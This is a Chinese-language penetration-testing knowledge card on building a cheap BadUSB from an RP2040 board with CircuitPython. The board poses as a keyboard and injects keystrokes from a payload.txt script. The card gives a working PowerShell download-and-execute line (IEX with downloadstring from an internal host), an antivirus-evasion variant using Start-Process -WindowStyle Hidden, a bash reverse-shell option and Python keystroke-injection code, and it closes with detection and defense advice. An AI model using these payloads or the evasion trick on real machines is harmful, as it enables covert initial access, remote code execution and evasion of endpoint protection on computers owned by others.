♧ Godown 安全知识树

十元级 RP2040 + CircuitPython 自制 BadUSB:payload.txt 脚本驱动 HID 键盘注入拉起 PowerShell 下载执行,并用 Start-Process -WindowStyle Hidden 绕杀软命令行检测

pentest/initial-access · verified

一句话结论

用十几块钱的 RP2040(pico 类小板)刷 CircuitPython + adafruit_hid,即可把它枚举成 USB 键盘:宿主机看到的是普通输入设备,板子按内置 payload.txt 里的自定义脚本(POWERSHELL / TOGGLE_INPUT / ECHO <要敲的内容> / set Time <秒>)自动敲出 Win+R → powershell → 下载执行命令,实现零驱动、零交互的物理初始访问;杀软只拦 powershell.exe -w hidden 这种命令行特征时,改由 Start-Process -WindowStyle Hidden 拉起子进程即可绕过。

原理

  • HID 免驱动:USB HID 键盘属于系统内置类驱动,插上即可向当前会话注入按键,不需要安装任何驱动、不触发「新硬件安装」类告警;对主机而言与真人敲键盘没有区别。
  • CircuitPython 的价值:usb_hid + adafruit_hid.keyboard 把「按键码 + 修饰键」封装成 keyboard.press(...)/release_all(),开发板上的 code.py 开机即跑,改脚本只需替换 U 盘里的 payload.txt,无需重新编译固件(相对 MicroPython 更即插即用)。
  • 按键映射的坑:key_map 必须区分「单键」与「Shift+键」——大写字母、:、"、(、)、_、!、|、> 等都要发 (Keycode.SHIFT, Keycode.X) 组合;数字键是 Keycode.ZERO..NINE;Win+R 是先 press WINDOWS 与 R 再 release_all()(顺序错会粘键)。
  • 为什么用 payload.txt 而不是写死:把「按键序列」抽象成脚本语言(大写关键字为模块,ECHO 后为要敲的文本,set Time 1 设延迟)后,注入内容与执行逻辑解耦,改攻击内容不用重刷固件,也便于把 Windows(POWERSHELL)与 Linux(LINUX_OPENSHELL/LINUX_RESHELL)分支放进同一份脚本。
  • 延迟与输入法:注入前 sleep(1) 等系统识别设备;Win+R 打开运行框后延迟再敲 powershell,回车后等窗口就绪再输入命令;TOGGLE_INPUT(Ctrl+Space)用于切掉中文输入法,否则命令里的大写与符号会被输入法吃成候选词。
  • 杀软检测的落点:拦截逻辑基于命令行字符串(-WindowStyle Hidden/-w hidden 出现在 powershell.exe 的参数里)。改成 Start-Process -WindowStyle Hidden powershell.exe -ArgumentList '-NoProfile','-Command','IEX(...)',-WindowStyle Hidden 属于 Start-Process 自己的参数、不再出现在 powershell 进程的命令行里,于是既能隐藏窗口又不命中该特征;在 BadUSB 场景里只要在末尾多敲一个 exit 关闭宿主窗口即可。

触发条件

  • 攻击者可物理接触目标主机(或能让用户插入该 USB 设备)。
  • 主机未禁用 USB HID 设备/未做 USB 端口白名单,当前处于已登录桌面(能接收按键)。
  • 主机能访问载荷托管地址(HTTP/HTTPS 或内网 C2),powershell.exe 未被 AppLocker/WDAC 完全禁止,且未启用 ConstrainedLanguage 到无法 IEX 的程度。
  • 目标语言/输入法状态若与脚本假设不同,需要 TOGGLE_INPUT 或调整延迟。

利用步骤

  1. 硬件与固件:RP2040 小板刷 CircuitPython(出现 CIRCUITPY 盘符),把 adafruit_hid 库放进 lib/。
  2. 写 code.py:建立 key_map(单键/Shift 组合/数字),实现 win()(Win+R)、powershell()(运行框输入 powershell 回车)、toggleinput()(Ctrl+Space)与 ECHO(逐字符 press/release,特殊字符走 Shift 分支)。
  3. 写 payload.txt,例如:
set Time 1
POWERSHELL
TOGGLE_INPUT
ECHO powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.255.1:8029/a'))"
  1. Linux 目标改为 LINUX_OPENSHELL + LINUX_RESHELL <ip> <port>(bash -i 反弹)。
  2. 若被杀软拦 -w hidden,把注入内容换成:
ECHO Start-Process -WindowStyle Hidden powershell.exe -ArgumentList '-NoProfile', '-Command', 'IEX ((new-object net.webclient).downloadstring(''http://192.168.56.1:8065/a''))'
ECHO exit
  1. 插上设备,等待按键注入完成,确认 C2 上线/回连;用 set Time 调整每步延迟以适配慢机器。

PoC(按键注入核心,仅示意):

import time, usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode

keyboard = Keyboard(usb_hid.devices)
key_map = {'a': Keycode.A, 'A': (Keycode.SHIFT, Keycode.A),
           'CTRL': Keycode.CONTROL, 'SPACE': Keycode.SPACE,
           ':': (Keycode.SHIFT, Keycode.SEMICOLON),
           '(': (Keycode.SHIFT, Keycode.NINE), ')': (Keycode.SHIFT, Keycode.ZERO)}

def powershell():
    time.sleep(1)
    keyboard.press(Keycode.WINDOWS); keyboard.press(Keycode.R); keyboard.release_all()
    time.sleep(1)
    for ch in "powershell":
        keyboard.press(key_map[ch]); keyboard.release_all(); time.sleep(0.1)
    keyboard.press(Keycode.ENTER); keyboard.release_all()

变体与关联

  • 硬件变体:RP2040/pico、Digispark、O.MG Cable(伪装成数据线)、带 WiFi 的远程触发款;原理都是 HID 键盘。
  • 注入变体:直接 Win+R 拉起 powershell/mshta/certutil;用 Ctrl+Space 切输入法;用 set Time 控制节奏避开「敲太快丢键」。
  • 绕过变体:Start-Process -WindowStyle Hidden 绕命令行特征;把载荷放闪存本地调用而完全不联网;改 -EncodedCommand 规避明文关键字。
  • 关联:pentest-initial-access-usb-hid-keyboard-injection-powershell-scheduled-task(同一原语在 HID 报文字节层的构造与解码视角,本卡是 CircuitPython/脚本框架视角)、ctf-forensics-usb-hid-keyboard-reference-mapping(HID 流量与键位映射)。

检测与防御

  • 设备管控:USB 设备白名单/端口禁用(只允许已知 VID/PID 的键鼠),禁用未登记 HID;对服务器类主机直接关闭 USB 存储与 HID 热插拔。
  • 执行链检测:审计 Win+R 后的 powershell 启动(4688 进程创建 + 命令行审计)、Start-Process 派生 powershell 的父子链、IEX + downloadstring 组合;对「短时间内无鼠标事件却有大量键入」的行为做异常检测。
  • 限制面:AppLocker/WDAC 限制 PowerShell 与脚本宿主、启用 ConstrainedLanguage、阻止桌面对公网直接出网。
  • 响应:发现可疑 HID 设备后立即隔离主机,检查 uninstall/设备安装日志与 HKCU\...\Run、计划任务等持久化点。